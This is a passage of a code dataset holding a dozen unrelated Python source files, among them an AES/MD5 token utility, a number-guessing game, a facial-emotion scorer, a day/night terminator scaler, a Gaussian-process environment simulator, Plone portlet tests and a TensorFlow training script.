self.testee.filtered_in.assert_not_called()\n self.testee.filtered_out.assert_called_once()\n\n self.do_me_one(name_pattern=re.compile('D.+r'))\n self.logger.debug(\"test\")\n self.testee.filtered_in.assert_called_once()\n self.testee.filtered_out.assert_not_called()\n\n","sub_path":"tests/integration/test_debug_log.py","file_name":"test_debug_log.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"341162710","text":"import hashlib\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\nfrom base64 import encodebytes\nimport time\nimport json\nimport requests\n\n\n\n\n# 加密类\nclass Encryption:\n def get_md5(self, pwd, salt=None):\n \"\"\"md5加密成32位小写\"\"\"\n md5 = hashlib.md5()\n if salt:\n pwd = pwd + salt\n else:\n pwd = pwd\n if pwd:\n md5.update(pwd.encode('utf-8'))\n # print(md5.hexdigest().lower())\n return md5.hexdigest().lower()\n else:\n return ''\n\n def aes_cipher(self,key, aes_str):\n \"\"\"AES采用ECB模式,使用PKCS7补偿\"\"\"\n aes = AES.new(key.encode('utf-8'), AES.MODE_ECB)\n pad_pkcs7 = pad(aes_str.encode('utf-8'), AES.block_size, style='pkcs7') # 选择pkcs7补全\n encrypt_aes = aes.encrypt(pad_pkcs7)\n # 加密结果\n encrypted_text = str(encodebytes(encrypt_aes), encoding='utf-8') # 解码\n encrypted_text_str = encrypted_text.replace(\"\\n\", \"\")\n # 此处我的输出结果老有换行符,所以用了临时方法将它剔除\n return encrypted_text_str\n\n def aes_token(self,token):\n \"\"\"斑马信用token加密\"\"\"\n key = \"HIKEDL@#\"\n m5dkey = self.get_md5(key)\n token_plus_timestamp = token + str(int(round(time.time() * 1000)))\n encrypted_token = self.aes_cipher(m5dkey, token_plus_timestamp)\n return encrypted_token\n\n\n\nif __name__ == '__main__':\n Encryption().get_md5('fx123456', 'hikcreate_xj')\n","sub_path":"common/utils/encryption.py","file_name":"encryption.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"324302938","text":"def list_of_duplicates_as_list(inputlist):\n finallist = list()\n currentindex = 0\n while currentindex < len(inputlist):\n currentelement = inputlist[currentindex]\n startindex = currentindex\n endindex = startindex\n # endindex is the index until which the current element is occured consecutively\n while endindex < len(inputlist) - 1:\n if inputlist[endindex + 1] == currentelement:\n endindex = endindex + 1\n else:\n break\n # create a list with current element by including all its consequtive elements equal to currentelemetn\n currentelelist = inputlist[startindex:endindex + 1]\n currentindex = endindex + 1\n finallist.append(currentelelist)\n return finallist\n\n\ndef main():\n inputlist = [0, 0, 1, 1, 1, 2, 3, 4, 4, 6, 6, 6, 8, 4, 4]\n print(list_of_duplicates_as_list(inputlist))\n\n\nmain()\n","sub_path":"Assignment2/list_of_duplicates.py","file_name":"list_of_duplicates.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"626654655","text":"import random\n\n\nclass GTN:\n\n def __init__(self):\n print('*Guess the Number*')\n\n def start(self):\n while True:\n end_number = int(input('whats the last number: '))\n n = int(input('how many guesses: '))\n rand = random.randint(1, end_number)\n guess = int(input('your guess: '))\n\n while guess != rand:\n n -= 1\n if guess < rand:\n print('UP UP UP')\n else:\n print('DOWN DOWN DOWN')\n if n == 0:\n print('You Lose, OutOfChoices!')\n return\n else:\n guess = int(input('your guess: '))\n\n print('You Won!!')\n if input('Do you want to continue? Y/N ') == 'Y':\n continue\n else:\n break\n","sub_path":"GuessTheNumber.py","file_name":"GuessTheNumber.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"49887845","text":"import cv2\nimport numpy as np\nimport face_recognition\n# from google.colab.patches import cv2_imshow\nfrom keras.models import model_from_json\n\n\n\ndef get(image_path):\n\n #Load Model\n json_file = open('../data/models/model.json', 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n loaded_model = model_from_json(loaded_model_json)\n loaded_model.load_weights(\"../data/models/model.h5\")\n\n\n #image\n path_image = image_path\n image = cv2.imread(path_image)\n # image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # image = cv2.resize(image, (48, 48))\n # image = np.reshape(image, (1, 48, 48, 1))\n # Initialize variables\n face_locations = []\n i=0\n # Find all the faces in the image\n face_locations = face_recognition.face_locations(image)\n if face_locations:\n top, right, bottom, left = face_locations[0]\n face_image = image[top:bottom, left:right]\n face_image = cv2.cvtColor(face_image, cv2.COLOR_BGR2GRAY)\n face_image = cv2.resize(face_image, (48, 48))\n face_image = np.reshape(face_image, (1, 48, 48, 1))\n predicted_score = np.max(loaded_model.predict(face_image))\n ans=loaded_model.predict(face_image)\n return ans[0][-1]\n # predicted_class=np.argmax(loaded_model.predict(face_image))\n # print(\"Score is: %.2f and class is %d\" %(predicted_score, predicted_class))\n # (face_image)\n else:\n return None\n print(\"No face found yet\")\n # Hit 'q' on the keyboard to quit!","sub_path":"Group_5/scripts/emotional_value.py","file_name":"emotional_value.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"320084974","text":"import pandas as pd\nimport argparse\nfrom numpy.random import choice\n\n\ndef make_quadruples(df_pairs, args):\n \"\"\"\n :param df_pairs: a pandas dataframe of sentence pairs with (at least) columns \"a\" and \"b\"\n :param args: the parser arguments\n :return: a pandas dataframe of sentence quadruples\n \"\"\"\n df_pairs = df_pairs[[\"a\", \"b\"]]\n x = [i for i in range(len(df_pairs))]\n y = [(a, b) for a in x for b in x if a != b]\n sample = choice(range(len(y)), min(args.max_quadruples, len(y)), replace=False)\n quadruples = []\n for s in sample:\n i, j = y[s]\n quadruples.append(pd.concat([df_pairs.iloc[i].rename({\"a\": \"a\", \"b\": \"b\"}),\n df_pairs.iloc[j].rename({\"a\": \"c\", \"b\": \"d\"})]))\n quadruples = pd.concat(quadruples, axis=1).transpose()\n return quadruples\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input_path\", help=\"Path to input .csv file containing sentence pairs\")\n parser.add_argument(\"--output_path\", help=\"Path output .csv file containing sentence quadruples\")\n parser.add_argument(\"--max_quadruples\", type=int, default=1000, help=\"Maximum number of quadruples to sample\")\n args = parser.parse_args()\n df_pairs = pd.read_csv(args.input_path, header=0)\n df_quadruples = make_quadruples(df_pairs, args)\n df_quadruples.to_csv(args.output_path, index=False)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n","sub_path":"datasets/scripts/make_quadruples_from_pairs.py","file_name":"make_quadruples_from_pairs.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"638790071","text":"# from mpl_toolkits.basemap.solar import daynight_terminator\nimport datetime as dt\nimport numpy as np\nfrom coordinate_structure import transform_coords\nfrom coordinate_structure import coordinate_structure\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import interp1d\n# -------------------------------------------------------\n# daynite_scaler.py\n# \n# Generates a scaling factor along longitude, based on \n# whether the local point is day or night.\n#\n# Completely copied from mpl_toolkits.basemap.solar, \n# with the addition of geomagnetic coordinate rotation.\n# \n# 6.15.2016 APS\n#--------------------------------------------------------\n\n\n\nclass daynite_scaler():\n def __init__(self, in_time):\n# self.in_time = in_time\n# self.grid_lats = grid_lats\n# self.grid_lons = grid_lons\n \n self.daynite_map = self.compute_at(in_time)\n \n def JulianDayFromDate(self, date,calendar='standard'):\n \"\"\"\n creates a Julian Day from a 'datetime-like' object. Returns the fractional\n Julian Day (resolution 1 second).\n\n if calendar='standard' or 'gregorian' (default), Julian day follows Julian \n Calendar on and before 1582-10-5, Gregorian calendar after 1582-10-15.\n\n if calendar='proleptic_gregorian', Julian Day follows gregorian calendar.\n\n if calendar='julian', Julian Day follows julian calendar.\n\n Algorithm:\n\n Meeus, Jean (1998) Astronomical Algorithms (2nd Edition). Willmann-Bell,\n Virginia. p. 63\n \"\"\"\n # based on redate.py by David Finlayson.\n year=date.year; month=date.month; day=date.day\n hour=date.hour; minute=date.minute; second=date.second\n # Convert time to fractions of a day\n day = day + hour/24.0 + minute/1440.0 + second/86400.0\n # Start Meeus algorithm (variables are in his notation)\n if (month < 3):\n month = month + 12\n year = year - 1\n A = int(year/100)\n jd = int(365.25 * (year + 4716)) + int(30.6001 * (month + 1)) + \\\n day - 1524.5\n # optionally adjust the jd for the switch from \n # the Julian to Gregorian Calendar\n # here assumed to have occurred the day after 1582 October 4\n if calendar in ['standard','gregorian']:\n if jd >= 2299170.5:\n # 1582 October 15 (Gregorian Calendar)\n B = 2 - A + int(A/4)\n elif jd < 2299160.5:\n # 1582 October 5 (Julian Calendar)\n B = 0\n else:\n raise ValueError('impossible date (falls in gap between end of Julian calendar and beginning of Gregorian calendar')\n elif calendar == 'proleptic_gregorian':\n B = 2 - A + int(A/4)\n elif calendar == 'julian':\n B = 0\n else:\n raise ValueError('unknown calendar, must be one of julian,standard,gregorian,proleptic_gregorian, got %s' % calendar)\n # adjust for Julian calendar if necessary\n jd = jd + B\n return jd \n\n \n def epem(self, date):\n \"\"\"\n input: date - datetime object (assumed UTC)\n ouput: gha - Greenwich hour angle, the angle between the Greenwich\n meridian and the meridian containing the subsolar point.\n dec - solar declination.\n \"\"\"\n dg2rad = np.pi/180.\n rad2dg = 1./dg2rad\n # compute julian day from UTC datetime object.\n # datetime objects use proleptic gregorian calendar.\n jday = self.JulianDayFromDate(date,calendar='proleptic_gregorian')\n jd = np.floor(jday) # truncate to integer.\n # utc hour.\n ut = date.hour + date.minute/60. + date.second/3600.\n # calculate number of centuries from J2000\n t = (jd + (ut/24.) - 2451545.0) / 36525.\n # mean longitude corrected for aberration\n l = (280.460 + 36000.770 * t) % 360\n # mean anomaly\n g = 357.528 + 35999.050 * t\n # ecliptic longitude\n lm = l + 1.915 * np.sin(g*dg2rad) + 0.020 * np.sin(2*g*dg2rad)\n # obliquity of the ecliptic\n ep = 23.4393 - 0.01300 * t\n # equation of time\n eqtime = -1.915*np.sin(g*dg2rad) - 0.020*np.sin(2*g*dg2rad) \\\n + 2.466*np.sin(2*lm*dg2rad) - 0.053*np.sin(4*lm*dg2rad)\n # Greenwich hour angle\n gha = 15*ut - 180 + eqtime\n # declination of sun\n dec = np.arcsin(np.sin(ep*dg2rad) * np.sin(lm*dg2rad)) * rad2dg\n return gha, dec\n\n def daynight_terminator(self, date, delta, lonmin, lonmax):\n \"\"\"\n date is datetime object (assumed UTC).\n nlons is # of longitudes used to compute terminator.\"\"\"\n dg2rad = np.pi/180.\n lons = np.arange(lonmin,lonmax+0.5*delta,delta,dtype=np.float32)\n # compute greenwich hour angle and solar declination\n # from datetime object (assumed UTC).\n tau, dec = self.epem(date)\n # compute day/night terminator from hour angle, declination.\n longitude = lons + tau\n lats = np.arctan(-np.cos(longitude*dg2rad)/np.tan(dec*dg2rad))/dg2rad\n return lons, lats, tau, dec\n\n def compute_at(self, in_time):\n # Get terminator\n delta = 1\n lons, lats, tau, dec = self.daynight_terminator(in_time, delta, -180, 179)\n \n # # rotate to geomagnetic\n cs = coordinate_structure(lats, lons, np.zeros_like(lats),'geographic')\n # dnt_coords_geom = transform_coords(lats, lons, np.zeros_like(lats),'geographic','geomagnetic')\n cs.transform_to('geomagnetic')\n # print np.min(lons), np.max(lons)\n # print np.min(cs.lon()), np.max(cs.lon())\n\n # This is a pretty hacky thing -- interp1d won't extrapolate past the bounds of\n # cs.lon(), which is about 178 instead of 180. SO, we fill with a value that's\n # totally ridiculous, such that nearest_index will never select it. Without it,\n # we get little slivers outside the fill region. Go back and write an extrapolater.\n # interpolator = interp1d(cs.lon(), cs.lat(), bounds_error=False, fill_value=-100000)\n interpolator = interp1d(cs.lon(), cs.lat())\n extrapolator = extrap1d(interpolator)\n\n\n # interpolator = splrep(cs.lon(), cs.lat(), k=1)\n # lats = interpolator(lons)\n lats = extrapolator(lons)\n # print lats\n # #lats = cs.lat()\n #lons = cs.lon()\n\n\n\n\n # #plt.plot(cs.lon(), cs.lat())\n # plt.plot(lons, lats)\n # plt.figure()\n # plt.plot(lons)\n\n lats2 = np.arange(-90,90, delta,dtype=np.float32)\n self.grid_lats = lats2\n nlons = len(lons); nlats = len(lats2)\n lons2, lats2 = np.meshgrid(lons,lats2)\n lats = lats[np.newaxis,:]*np.ones((nlats,nlons),dtype=np.float32)\n daynight = np.ones(lons2.shape, np.int8)\n if dec > 0: # NH summer\n daynight = np.where(lats2>lats,0, daynight)\n else: # NH winter\n daynight = np.where(lats2= len(grid)] -= len(grid) - 1\n idx[idx < 0] += len(grid) - 1\n\n idx_l = idx - 1\n idx_l[idx_l==-1] = len(grid) -1\n #idx = np.clip(idx, 0, len(grid) - 1)\n #idx_l = np.clip(idx - 1, 0, len(grid) - 1)\n\n idx[abs(values - grid[idx_l]) < abs(values - grid[idx])] -= 1\n return idx\n \n def scaling_vector_at(self, lat):\n\n day_atten_factor = 0.05\n\n lat_ind = self.nearest_index(self.grid_lats, [lat])\n is_night = self.daynight[lat_ind, :].squeeze()\n \n return (1 - day_atten_factor)*is_night + day_atten_factor\n\n def is_night(self, lat, lon):\n lat_ind = self.nearest_index(self.grid_lats, [lat])\n lon_ind = self.nearest_index(self.grid_lons, [lon])\n\n return self.daynight[lat_ind, lon_ind].squeeze()\n\n def scaling_factor_at(self, lat, lon):\n day_atten_factor = 0.05\n\n return (1 - day_atten_factor)*self.is_night(lat,lon) + day_atten_factor\n\ndef extrap1d(interpolator):\n xs = interpolator.x\n ys = interpolator.y\n\n def pointwise(x):\n if x < xs[0]:\n return ys[0]+(x-xs[0])*(ys[1]-ys[0])/(xs[1]-xs[0])\n elif x > xs[-1]:\n return ys[-1]+(x-xs[-1])*(ys[-1]-ys[-2])/(xs[-1]-xs[-2])\n else:\n return interpolator(x)\n\n def ufunclike(xs):\n return np.array(map(pointwise, np.array(xs)))\n\n return ufunclike\n","sub_path":"daynite_scaler.py","file_name":"daynite_scaler.py","file_ext":"py","file_size_in_byte":9679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"332883502","text":"# -*- coding: utf-8 -*-\nfrom .basicanalyzer import BasicAnalyzer\n\n\nclass WordAnalyzer(BasicAnalyzer):\n \"\"\"Analyzer to match the content of a paste via regular expressions\"\"\"\n name = \"WordAnalyzer\"\n\n def __init__(self, action, word, case_sensitive=False):\n super().__init__(action, \"{0} ({1})\".format(self.name, word))\n self.word = word\n self.case_sensitive = case_sensitive\n\n def match(self, paste):\n \"\"\"Check if the specified word is part of the paste text\"\"\"\n paste_content = paste.body\n\n if self.case_sensitive:\n return self.word in paste_content\n else:\n return self.word.lower() in paste_content.lower()\n","sub_path":"analyzers/wordanalyzer.py","file_name":"wordanalyzer.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"574067920","text":"from matplotlib import pyplot as plt\nimport matplotlib\nfrom matplotlib.colors import LogNorm\nfrom matplotlib import cm\nfrom sklearn import mixture\n# from IPython.display import display\nfrom scipy.stats import multivariate_normal\nimport numpy as np\nimport math\nimport os\nimport GPy as GPy\nimport dubins\nimport time\nfrom itertools import chain\n# import glog as log\nimport logging as log\n# import gpmodel_library as gp_lib\n# from continuous_traj import continuous_traj\n\nfrom GPModel import *\n\nclass Environment:\n '''The Environment class, which represents a retangular Gaussian world.\n \n Input:\n * ranges (tuple of floats): a tuple representing the max/min of 2D rectangular domain i.e. (-10, 10, -50, 50)\n * NUM_PTS (int): the number of points in each dimension to sample for initialization, \n resulting in a sample grid of size NUM_PTS x NUM_PTS\n * variance (float): the variance parameter of the squared exponential kernel\n * lengthscale (float): the lengthscale parameter of the squared exponential kernel\n * noise (float): the sensor noise parameter of the squared exponential kernel\n * visualize (boolean): a boolean flag to plot the surface of the resulting environment \n * seed (int): an integer seed for the random draws. If set to \\'None\\', no seed is used ''' \n\n def __init__(self, ranges, NUM_PTS, variance = 0.5, lengthscale = 1.0, noise = 0.05, visualize = True, seed = None, dim = 2):\n ''' Initialize a random Gaussian environment using the input kernel, assuming zero mean'''\n # Save the parmeters of GP model\n self.variance = variance\n self.lengthscale = lengthscale\n self.dim = dim\n \n # Expect ranges to be a 4-tuple consisting of x1min, x1max, x2min, and x2max\n self.x1min = float(ranges[0])\n self.x1max = float(ranges[1])\n self.x2min = float(ranges[2])\n self.x2max = float(ranges[3]) \n \n # Intialize a GP model of the environment\n self.GP = GPModel( lengthscale = lengthscale, variance = variance) \n \n # Generate a set of discrete grid points, uniformly spread across the environment\n x1 = np.linspace(self.x1min, self.x1max, NUM_PTS)\n x2 = np.linspace(self.x2min, self.x2max, NUM_PTS)\n x1vals, x2vals = np.meshgrid(x1, x2, sparse = False, indexing = 'xy') # dimension: NUM_PTS x NUM_PTS\n data = np.vstack([x1vals.ravel(), x2vals.ravel()]).T # dimension: NUM_PTS*NUM_PTS x 2\n\n # Take an initial sample in the GP prior, conditioned on no other data\n xsamples = np.reshape(np.array(data[0, :]), (1, dim)) # dimension: 1 x 2 \n mean, var = self.GP.predict_value(xsamples) \n \n if seed is not None:\n np.random.seed(seed)\n seed += 1\n zsamples = np.random.normal(loc = mean, scale = np.sqrt(var))\n zsamples = np.reshape(zsamples, (1,1)) # dimension: 1 x 1 \n \n # Add new data point to the GP model\n self.GP.set_data(xsamples, zsamples) \n \n # Iterate through the rest of the grid sequentially and sample a z values, condidtioned on previous samples\n for index, point in enumerate(data[1:, :]):\n # Get a new sample point\n xs = np.reshape(np.array(point), (1, dim))\n \n # Compute the predicted mean and variance\n mean, var = self.GP.predict_value(xs)\n \n # Sample a new observation, given the mean and variance\n if seed is not None:\n np.random.seed(seed)\n seed += 1 \n zs = np.random.normal(loc = mean, scale = np.sqrt(var))\n \n # Add new sample point to the GP model\n zsamples = np.vstack([zsamples, np.reshape(zs, (1, 1))])\n xsamples = np.vstack([xsamples, np.reshape(xs, (1, dim))])\n self.GP.set_data(xsamples, zsamples)\n \n # Plot the surface mesh and scatter plot representation of the samples points\n if visualize == True:\n fig = plt.figure(figsize=(4, 3))\n ax = fig.add_subplot(111, projection = '3d')\n ax.set_title('Surface of the Simulated Environment')\n surf = ax.plot_surface(x1vals, x2vals, zsamples.reshape(x1vals.shape), cmap = cm.coolwarm, linewidth = 1)\n\n #ax2 = fig.add_subplot(212, projection = '3d')\n \n fig2 = plt.figure(figsize=(4, 3))\n ax2 = fig2.add_subplot(111)\n ax2.set_title('Countour Plot of the Simulated Environment') \n plot = ax2.contourf(x1vals, x2vals, zsamples.reshape(x1vals.shape), cmap = 'viridis')\n scatter = ax2.scatter(data[:, 0], data[:, 1], c = zsamples.ravel(), s = 4.0, cmap = 'viridis') \n plt.show() \n \n # print \"Environment initialized with bounds X1: (\", self.x1min, \",\", self.x1max, \") X2:(\", self.x2min, \",\", self.x2max, \")\" \n \n def sample_value(self, xvals):\n ''' The public interface to the Environment class. Returns a noisy sample of the true value of environment \n at a set of point. \n Input:\n * xvals (float array): an nparray of floats representing observation locations, with dimension NUM_PTS x 2 \n \n Returns:\n * mean (float array): an nparray of floats representing predictive mean, with dimension NUM_PTS x 1 '''\n assert(xvals.shape[0] >= 1) \n assert(xvals.shape[1] == self.dim) \n mean, var = self.GP.predict_value(xvals)\n return mean","sub_path":"python_scripts/scripts/Environment.py","file_name":"Environment.py","file_ext":"py","file_size_in_byte":5687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"493710512","text":"# -*- coding: utf-8 -*-\nfrom brasil.gov.portlets.portlets import audiogallery\nfrom brasil.gov.portlets.testing import INTEGRATION_TESTING\nfrom plone.app.testing import setRoles\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.portlets.interfaces import IPortletAssignment\nfrom plone.portlets.interfaces import IPortletDataProvider\nfrom plone.portlets.interfaces import IPortletManager\nfrom plone.portlets.interfaces import IPortletRenderer\nfrom plone.portlets.interfaces import IPortletType\nfrom Products.GenericSetup.utils import _getDottedName\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\n\nimport unittest\n\n\nclass AudioGalleryPortletTestCase(unittest.TestCase):\n\n layer = INTEGRATION_TESTING\n\n def setUp(self):\n self.portal = self.layer['portal']\n self.request = self.layer['request']\n setRoles(self.portal, TEST_USER_ID, ['Manager'])\n\n self.audios = {}\n self.audios['collection'] = self.portal['audios-folder']['audios-collection']\n self.audios['path'] = '/' + '/'.join(self.audios['collection'].getPhysicalPath()[2:])\n self.audios['url'] = self.audios['collection'].absolute_url()\n\n def _renderer(self, context=None, request=None, view=None, manager=None,\n assignment=None):\n context = context or self.portal\n request = request or self.request\n view = view or self.portal.restrictedTraverse('@@plone')\n manager = manager or getUtility(\n IPortletManager, name='plone.rightcolumn', context=self.portal)\n\n return getMultiAdapter((context, request, view, manager, assignment),\n IPortletRenderer)\n\n def _assigned_renderer(self, col):\n assgmnt = audiogallery.Assignment(\n show_header=True,\n header=u'Portal Padrão Galeria de Áudios',\n header_type=u'H2',\n show_footer=True,\n footer=u'Mais...',\n footer_url=col['url'],\n limit=3,\n collection=col['path']\n )\n r = self._renderer(context=self.portal,\n assignment=assgmnt)\n r = r.__of__(self.portal)\n r.update()\n return r\n\n def test_portlet_type_registered(self):\n portlet = getUtility(IPortletType, name='brasil.gov.portlets.audiogallery')\n self.assertEqual(portlet.addview, 'brasil.gov.portlets.audiogallery')\n\n def test_registered_interfaces(self):\n portlet = getUtility(IPortletType, name='brasil.gov.portlets.audiogallery')\n registered_interfaces = [_getDottedName(i) for i in portlet.for_]\n registered_interfaces.sort()\n self.assertEqual(\n ['plone.app.portlets.interfaces.IColumn',\n 'plone.app.portlets.interfaces.IDashboard'],\n registered_interfaces\n )\n\n def test_interfaces(self):\n portlet = audiogallery.Assignment()\n self.assertTrue(IPortletAssignment.providedBy(portlet))\n self.assertTrue(IPortletDataProvider.providedBy(portlet.data))\n\n def test_invoke_addview(self):\n portlet = getUtility(IPortletType, name='brasil.gov.portlets.audiogallery')\n mapping = self.portal.restrictedTraverse('++contextportlets++plone.leftcolumn')\n for m in mapping.keys():\n del mapping[m]\n addview = mapping.restrictedTraverse('+/' + portlet.addview)\n addview.createAndAdd(data={})\n\n self.assertEqual(len(mapping), 1)\n self.assertTrue(isinstance(mapping.values()[0], audiogallery.Assignment))\n\n def test_portlet_properties(self):\n portlet = getUtility(IPortletType, name='brasil.gov.portlets.audiogallery')\n mapping = self.portal.restrictedTraverse('++contextportlets++plone.leftcolumn')\n for m in mapping.keys():\n del mapping[m]\n addview = mapping.restrictedTraverse('+/' + portlet.addview)\n addview.createAndAdd(data={\n 'show_header': True,\n 'header': u'Portal Padrão Galeria de Áudios',\n 'header_type': u'H4',\n 'show_footer': True,\n 'footer': u'Mais...',\n 'footer_url': self.audios['url'],\n 'limit': 2,\n 'collection': self.audios['path']\n })\n\n title = mapping.values()[0].title\n self.assertEqual(title, u'Portal Padrão Galeria de Áudios')\n\n header = mapping.values()[0].header\n self.assertEqual(header, u'Portal Padrão Galeria de Áudios')\n\n header_type = mapping.values()[0].header_type\n self.assertEqual(header_type, u'H4')\n\n show_footer = mapping.values()[0].show_footer\n self.assertEqual(show_footer, True)\n\n footer = mapping.values()[0].footer\n self.assertEqual(footer, u'Mais...')\n\n footer_url = mapping.values()[0].footer_url\n self.assertEqual(footer_url, self.audios['url'])\n\n limit = mapping.values()[0].limit\n self.assertEqual(limit, 2)\n\n collection = mapping.values()[0].collection\n self.assertEqual(collection, self.audios['path'])\n\n def test_renderer(self):\n r = self._assigned_renderer(self.audios)\n\n self.assertIsInstance(r, audiogallery.Renderer)\n\n def test_renderer_cssclass(self):\n r1 = self._assigned_renderer(self.audios)\n\n self.assertEqual(r1.css_class(),\n 'brasil-gov-portlets-audiogallery-portal-padrao-galeria-de-audios')\n\n def test_renderer_results(self):\n r = self._assigned_renderer(self.audios)\n\n results = [b.id for b in r.results()]\n self.assertEqual(results, ['audio-2', 'audio-3', 'audio-1'])\n\n def test_renderer_collection(self):\n r = self._assigned_renderer(self.audios)\n\n self.assertEqual(r.collection(), self.audios['collection'])\n\n def test_renderer_title(self):\n r = self._assigned_renderer(self.audios)\n\n self.assertEqual(r.title(),\n u'

Portal ' +\n u'Padrão Galeria de Áudios

')\n\n def test_renderer_getitemurl(self):\n r = self._assigned_renderer(self.audios)\n\n urls = [r.get_item_url(b) for b in r.results()]\n self.assertEqual(urls, [\n 'http://nohost/plone/audios-folder/audio-2/file.mp3',\n 'http://nohost/plone/audios-folder/audio-3/file.mp3',\n 'http://nohost/plone/audios-folder/audio-1/file.mp3'\n ])\n","sub_path":"src/brasil/gov/portlets/tests/test_audiogallery_portlet.py","file_name":"test_audiogallery_portlet.py","file_ext":"py","file_size_in_byte":6447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"377981861","text":"#!/usr/bin/env python3\n\n\"\"\"Train and export the model\n\nThis file trains the model upon all data with the arguments it got via\nthe gcloud command.\n\"\"\"\n\nimport os\nimport argparse\nimport logging\n\nfrom pathlib import Path\nfrom datetime import datetime\n\nimport numpy as np\nimport tensorflow as tf\n\nimport trainer.data as data\nimport trainer.model as model\n\n\ndef prepare_prediction_image(image_str_tensor):\n \"\"\"Prepare an image tensor for prediction.\n Takes a string tensor containing a binary jpeg image and returns\n a tensor object of the image with dtype float32.\n\n Parameters:\n image_str_tensor: a tensor containing a binary jpeg image as a string\n Returns:\n image: A tensor representing an image.\n \"\"\"\n image_str_tensor = tf.cast(image_str_tensor, tf.string)\n image = tf.image.decode_jpeg(image_str_tensor, channels=3)\n image = tf.cast(image, dtype=tf.float32)\n image = data.preprocess_image(image)\n return image\n\ndef prepare_prediction_image_batch(image_str_tensor):\n \"\"\"Prepare a batch of images for prediction.\"\"\"\n return tf.map_fn(prepare_prediction_image, image_str_tensor,\n dtype=tf.float32)\n\ndef export_model(ml_model, export_dir, model_dir='exported_model'):\n \"\"\"Prepare model for strings representing image data and export it.\n\n Before the model is exported the initial layers of the model need to be\n adapted to handle prediction of images contained in JSON files.\n\n Parameters:\n ml_model: A compiled model\n export_dir: A string specifying the name of the path to\n which the model is written.\n model_dir: A string specifying the name of the parent directory \n to which the model is written.\n \"\"\"\n prediction_input = tf.keras.Input(\n dtype=tf.string, name='bytes', shape=())\n prediction_output = tf.keras.layers.Lambda(\n prepare_prediction_image_batch)(prediction_input)\n\n prediction_output = ml_model(prediction_output)\n prediction_output = tf.keras.layers.Lambda(\n lambda x: x, name='PROBABILITIES')(prediction_output)\n prediction_class = tf.keras.layers.Lambda(\n lambda x: tf.argmax(x, 1), name='CLASSES')(prediction_output)\n \n ml_model = tf.keras.models.Model(prediction_input, outputs=[prediction_class, prediction_output])\n\n model_path = Path(export_dir) / model_dir\n if model_path.exists():\n timestamp = datetime.now().strftime(\"-%Y-%m-%d-%H-%M-%S\")\n model_path = Path(str(model_path) + timestamp)\n\n tf.saved_model.save(ml_model, str(model_path))\n\ndef train_and_export_model(params):\n \"\"\"The function gets the training data from the training folder and\n the eval folder.\n Your solution in the model.py file is trained with this training data.\n The evaluation in this method is not important since all data was already\n used to train.\n\n Parameters:\n params: Parameters for training and exporting the model\n \"\"\"\n (train_data, train_labels) = data.create_data_with_labels(\"data/train/\")\n (eval_data, eval_labels) = data.create_data_with_labels(\"data/eval/\")\n\n train_data = np.append(train_data, eval_data, axis=0)\n train_labels = np.append(train_labels, eval_labels, axis=0)\n\n img_shape = train_data.shape[1:]\n input_layer = tf.keras.Input(shape=img_shape, name='input_image')\n\n ml_model = model.solution(input_layer)\n\n ml_model.fit(train_data, train_labels,\n batch_size=model.get_batch_size(),\n epochs=model.get_epochs())\n export_model(ml_model, export_dir=params.job_dir)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--job-dir',\n type=str,\n default='output',\n help='directory to store checkpoints'\n )\n\n args = parser.parse_args()\n tf_logger = logging.getLogger(\"tensorflow\")\n tf_logger.setLevel(logging.INFO)\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = str(tf_logger.level / 10)\n\n train_and_export_model(args)\n","sub_path":"trainer/final_task.py","file_name":"final_task.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"554439761","text":"import src.pipeline \nimport datetime\nimport logging\nimport caiman as cm\nimport matplotlib.pyplot as plt \nfrom matplotlib.patches import Rectangle\nimport os\nimport pickle\nimport numpy as np\nstep = 'cropping'\nstep_index = 1\n\n#%% MAIN \n\ndef main(index, row, parameters):\n '''\n This function takes in a decoded analysis state and crops it according to \n specified cropping points.\n \n Args:\n index: tuple\n The index of the analysis state to be cropped. \n row: pd.DataFrame object\n The row corresponding to the analysis state to be cropped. \n \n Returns:\n index: tuple\n The index of the cropped analysis state. \n row: pd.DataFrame object\n The row corresponding to the cropped analysis state. \n '''\n\n\n # Get the input tif file path \n input_tif_file_path = eval(row.loc['decoding_output'])['main']\n if not os.path.isfile(input_tif_file_path):\n src.pipeline.get_expected_file_path('decoding','main/',index, '.tif')\n \n # Determine output .tif file path \n file_name = src.pipeline.create_file_name(step_index, index)\n output_tif_file_path = f\"data/interim/cropping/main/{file_name}.tif\"\n \n \n # Create a dictionary with the output\n output = {\n 'main' : output_tif_file_path,\n 'meta' : {\n 'analysis': {\n 'analyst': os.environ['ANALYST'],\n 'date': 